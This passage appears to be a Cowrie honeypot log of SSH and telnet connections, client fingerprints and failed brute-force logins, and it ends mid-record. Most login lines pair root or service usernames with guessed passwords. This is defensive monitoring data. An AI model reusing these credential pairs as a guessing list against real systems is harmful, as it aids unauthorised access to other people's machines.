{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45134,"dst_ip":"10.17.0.5","dst_port":23,"session":"878db2229f6b","protocol":"telnet","message":"New connection: 152.42.224.71:45134 (10.17.0.5:23) [session: 878db2229f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:54.742423Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"38c85d901cbe","protocol":"ssh","message":"New connection: 43.133.34.13:52052 (159.203.135.109:22) [session: 38c85d901cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:01.654414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:01.660966Z","src_ip":"43.133.34.13","session":"38c85d901cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:01.900422Z","src_ip":"43.133.34.13","session":"38c85d901cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenyong","message":"login attempt [root/chenyong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:02.884237Z","src_ip":"43.133.34.13","session":"38c85d901cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:04.126869Z","src_ip":"43.133.34.13","session":"38c85d901cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48498,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c027678ee6f","protocol":"telnet","message":"New connection: 152.42.224.71:48498 (10.17.0.5:23) [session: 8c027678ee6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:07.157750Z"}
{"eventid":"cowrie.session.closed","duration":44.983453035354614,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:07.805675Z","src_ip":"152.42.224.71","session":"808044c6457c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48514,"dst_ip":"10.17.0.5","dst_port":23,"session":"0861128ca6a4","protocol":"telnet","message":"New connection: 152.42.224.71:48514 (10.17.0.5:23) [session: 0861128ca6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:12.355531Z"}
{"eventid":"cowrie.session.closed","duration":50.46892857551575,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:13.430921Z","src_ip":"152.42.224.71","session":"e5e6e908fa9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37326,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf96f5f62d74","protocol":"telnet","message":"New connection: 152.42.224.71:37326 (10.17.0.5:23) [session: cf96f5f62d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:19.245464Z"}
{"eventid":"cowrie.session.closed","duration":47.21851873397827,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:20.196067Z","src_ip":"152.42.224.71","session":"260fbff94cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":44764,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2d1aee757b","protocol":"ssh","message":"New connection: 191.96.110.121:44764 (159.203.135.109:22) [session: 4f2d1aee757b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:31.486006Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":52132,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7139a6ada2e","protocol":"ssh","message":"New connection: 43.130.35.229:52132 (159.203.135.109:22) [session: e7139a6ada2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:31.631294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:31.637066Z","src_ip":"43.130.35.229","session":"e7139a6ada2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:31.706229Z","src_ip":"43.130.35.229","session":"e7139a6ada2e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:31.793738Z","src_ip":"191.96.110.121","session":"4f2d1aee757b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:32.014300Z","src_ip":"43.130.35.229","session":"e7139a6ada2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:32.183289Z","src_ip":"191.96.110.121","session":"4f2d1aee757b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:33.089686Z","src_ip":"43.130.35.229","session":"e7139a6ada2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:33.500699Z","src_ip":"191.96.110.121","session":"4f2d1aee757b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":39180,"dst_ip":"159.203.135.109","dst_port":22,"session":"0132a4009d0c","protocol":"ssh","message":"New connection: 68.183.236.1:39180 (159.203.135.109:22) [session: 0132a4009d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:33.969551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:33.977900Z","src_ip":"68.183.236.1","session":"0132a4009d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:34.210476Z","src_ip":"68.183.236.1","session":"0132a4009d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:34.901640Z","src_ip":"191.96.110.121","session":"4f2d1aee757b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:35.144063Z","src_ip":"68.183.236.1","session":"0132a4009d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:36.383910Z","src_ip":"68.183.236.1","session":"0132a4009d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":44966,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b89215cc279","protocol":"ssh","message":"New connection: 72.52.132.30:44966 (159.203.135.109:22) [session: 3b89215cc279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:38.417048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:38.430590Z","src_ip":"72.52.132.30","session":"3b89215cc279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:38.476079Z","src_ip":"72.52.132.30","session":"3b89215cc279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:38.648886Z","src_ip":"72.52.132.30","session":"3b89215cc279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.05315160751343,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:38.795465Z","src_ip":"152.42.224.71","session":"878db2229f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:39.685000Z","src_ip":"72.52.132.30","session":"3b89215cc279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.3216872215271,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:41.479331Z","src_ip":"152.42.224.71","session":"8c027678ee6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.746259689331055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:45.101673Z","src_ip":"152.42.224.71","session":"0861128ca6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":49762,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c2490c777d","protocol":"ssh","message":"New connection: 80.94.92.168:49762 (159.203.135.109:22) [session: 67c2490c777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:47.798755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:48.123786Z","src_ip":"80.94.92.168","session":"67c2490c777d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:48.127293Z","src_ip":"80.94.92.168","session":"67c2490c777d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:50.286529Z","src_ip":"80.94.92.168","session":"67c2490c777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:51.544399Z","src_ip":"80.94.92.168","session":"67c2490c777d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":53038,"dst_ip":"159.203.135.109","dst_port":22,"session":"fda426e364f4","protocol":"ssh","message":"New connection: 37.143.61.241:53038 (159.203.135.109:22) [session: fda426e364f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:54.868608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:54.873845Z","src_ip":"37.143.61.241","session":"fda426e364f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:54.959400Z","src_ip":"37.143.61.241","session":"fda426e364f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:55.333040Z","src_ip":"37.143.61.241","session":"fda426e364f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49692,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d9b4026e17","protocol":"ssh","message":"New connection: 87.251.64.176:49692 (10.17.0.5:22) [session: 68d9b4026e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.125734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.129880Z","src_ip":"87.251.64.176","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr",